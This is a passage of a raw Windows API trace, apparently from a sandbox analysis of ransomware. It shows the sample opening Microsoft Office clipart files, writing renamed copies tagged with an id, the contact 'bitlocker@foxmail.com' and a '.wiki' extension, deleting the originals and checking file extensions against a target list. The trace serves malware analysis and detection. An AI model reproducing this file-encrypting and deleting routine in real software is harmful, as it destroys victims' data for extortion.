(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.793] lstrlenW (lpString=".1cd") returned 4 [0186.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0186.793] lstrlenW (lpString=".jpg") returned 4 [0186.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.793] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.793] lstrlenW (lpString="CRANINST.WMF") returned 12 [0186.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.793] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=49546) returned 1 [0186.793] CloseHandle (hObject=0x1d0) returned 1 [0186.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0186.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.794] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.794] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.794] GetLastError () returned 0x0 [0186.794] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xc18a, lpOverlapped=0x0) returned 1 [0186.797] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xc190, lpOverlapped=0x0) returned 1 [0186.799] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.799] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.799] SetEndOfFile (hFile=0x1f4) returned 1 [0186.799] CloseHandle (hObject=0x1f4) returned 1 [0186.799] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.799] SetEndOfFile (hFile=0x1d0) returned 1 [0186.800] CloseHandle (hObject=0x1d0) returned 1 [0186.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0186.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.801] lstrlenW (lpString=".doc") returned 4 [0186.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.801] lstrlenW (lpString=".docx") returned 5 [0186.801] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0186.801] lstrlenW (lpString=".pdf") returned 4 [0186.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.801] lstrlenW (lpString=".xls") returned 4 [0186.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.801] lstrlenW (lpString=".xlsx") returned 5 [0186.801] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0186.801] lstrlenW (lpString=".ppt") returned 4 [0186.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.801] lstrlenW (lpString=".zip") returned 4 [0186.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.801] lstrlenW (lpString=".rar") returned 4 [0186.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.801] lstrlenW (lpString=".bz2") returned 4 [0186.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.801] lstrlenW (lpString=".7z") returned 3 [0186.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.801] lstrlenW (lpString=".dbf") returned 4 [0186.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.802] lstrlenW (lpString=".1cd") returned 4 [0186.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.802] lstrlenW (lpString=".jpg") returned 4 [0186.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.802] lstrlenW (lpString=".doc") returned 4 [0186.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.802] lstrlenW (lpString=".docx") returned 5 [0186.802] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0186.802] lstrlenW (lpString=".pdf") returned 4 [0186.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.802] lstrlenW (lpString=".xls") returned 4 [0186.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.802] lstrlenW (lpString=".xlsx") returned 5 [0186.802] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0186.802] lstrlenW (lpString=".ppt") returned 4 [0186.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.802] lstrlenW (lpString=".zip") returned 4 [0186.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.802] lstrlenW (lpString=".rar") returned 4 [0186.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.802] lstrlenW (lpString=".bz2") returned 4 [0186.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.802] lstrlenW (lpString=".7z") returned 3 [0186.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.803] lstrlenW (lpString=".dbf") returned 4 [0186.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.803] lstrlenW (lpString=".1cd") returned 4 [0186.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0186.803] lstrlenW (lpString=".jpg") returned 4 [0186.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.803] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.803] lstrlenW (lpString="CUP.WMF") returned 7 [0186.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.806] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2966) returned 1 [0186.806] CloseHandle (hObject=0x1d0) returned 1 [0186.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0186.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.806] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.806] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.806] GetLastError () returned 0x0 [0186.806] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xb96, lpOverlapped=0x0) returned 1 [0186.808] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xba0, lpOverlapped=0x0) returned 1 [0186.810] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.810] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0186.810] SetEndOfFile (hFile=0x1f4) returned 1 [0186.810] CloseHandle (hObject=0x1f4) returned 1 [0186.810] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.811] SetEndOfFile (hFile=0x1d0) returned 1 [0186.811] CloseHandle (hObject=0x1d0) returned 1 [0186.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 1 [0186.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.812] lstrlenW (lpString=".doc") returned 4 [0186.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.812] lstrlenW (lpString=".docx") returned 5 [0186.812] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0186.812] lstrlenW (lpString=".pdf") returned 4 [0186.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.812] lstrlenW (lpString=".xls") returned 4 [0186.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.812] lstrlenW (lpString=".xlsx") returned 5 [0186.812] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0186.812] lstrlenW (lpString=".ppt") returned 4 [0186.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.812] lstrlenW (lpString=".zip") returned 4 [0186.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.812] lstrlenW (lpString=".rar") returned 4 [0186.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.812] lstrlenW (lpString=".bz2") returned 4 [0186.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.812] lstrlenW (lpString=".7z") returned 3 [0186.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.812] lstrlenW (lpString=".dbf") returned 4 [0186.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.813] lstrlenW (lpString=".1cd") returned 4 [0186.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.813] lstrlenW (lpString=".jpg") returned 4 [0186.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.813] lstrlenW (lpString=".doc") returned 4 [0186.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.813] lstrlenW (lpString=".docx") returned 5 [0186.813] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0186.813] lstrlenW (lpString=".pdf") returned 4 [0186.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.813] lstrlenW (lpString=".xls") returned 4 [0186.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.813] lstrlenW (lpString=".xlsx") returned 5 [0186.813] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0186.813] lstrlenW (lpString=".ppt") returned 4 [0186.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.813] lstrlenW (lpString=".zip") returned 4 [0186.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.813] lstrlenW (lpString=".rar") returned 4 [0186.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.813] lstrlenW (lpString=".bz2") returned 4 [0186.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.813] lstrlenW (lpString=".7z") returned 3 [0186.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.813] lstrlenW (lpString=".dbf") returned 4 [0186.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.814] lstrlenW (lpString=".1cd") returned 4 [0186.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0186.814] lstrlenW (lpString=".jpg") returned 4 [0186.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.814] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.814] lstrlenW (lpString="CUPINST.WMF") returned 11 [0186.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.814] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=10326) returned 1 [0186.814] CloseHandle (hObject=0x1d0) returned 1 [0186.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 0x20 [0186.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.815] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.815] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.815] GetLastError () returned 0x0 [0186.815] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2856, lpOverlapped=0x0) returned 1 [0186.817] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2860, lpOverlapped=0x0) returned 1 [0186.818] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.818] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0186.818] SetEndOfFile (hFile=0x1f4) returned 1 [0186.818] CloseHandle (hObject=0x1f4) returned 1 [0186.819] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.819] SetEndOfFile (hFile=0x1d0) returned 1 [0186.819] CloseHandle (hObject=0x1d0) returned 1 [0186.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0186.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.820] lstrlenW (lpString=".doc") returned 4 [0186.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.820] lstrlenW (lpString=".docx") returned 5 [0186.820] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0186.820] lstrlenW (lpString=".pdf") returned 4 [0186.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.820] lstrlenW (lpString=".xls") returned 4 [0186.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.820] lstrlenW (lpString=".xlsx") returned 5 [0186.820] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0186.820] lstrlenW (lpString=".ppt") returned 4 [0186.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.820] lstrlenW (lpString=".zip") returned 4 [0186.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.820] lstrlenW (lpString=".rar") returned 4 [0186.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.820] lstrlenW (lpString=".bz2") returned 4 [0186.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.820] lstrlenW (lpString=".7z") returned 3 [0186.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.821] lstrlenW (lpString=".dbf") returned 4 [0186.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.821] lstrlenW (lpString=".1cd") returned 4 [0186.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.821] lstrlenW (lpString=".jpg") returned 4 [0186.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.821] lstrlenW (lpString=".doc") returned 4 [0186.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.821] lstrlenW (lpString=".docx") returned 5 [0186.821] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0186.821] lstrlenW (lpString=".pdf") returned 4 [0186.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.821] lstrlenW (lpString=".xls") returned 4 [0186.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.821] lstrlenW (lpString=".xlsx") returned 5 [0186.821] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0186.821] lstrlenW (lpString=".ppt") returned 4 [0186.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.821] lstrlenW (lpString=".zip") returned 4 [0186.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.821] lstrlenW (lpString=".rar") returned 4 [0186.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.821] lstrlenW (lpString=".bz2") returned 4 [0186.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.821] lstrlenW (lpString=".7z") returned 3 [0186.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.822] lstrlenW (lpString=".dbf") returned 4 [0186.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.822] lstrlenW (lpString=".1cd") returned 4 [0186.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 62 [0186.822] lstrlenW (lpString=".jpg") returned 4 [0186.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.822] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.822] lstrlenW (lpString="DD00117_.WMF") returned 12 [0186.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 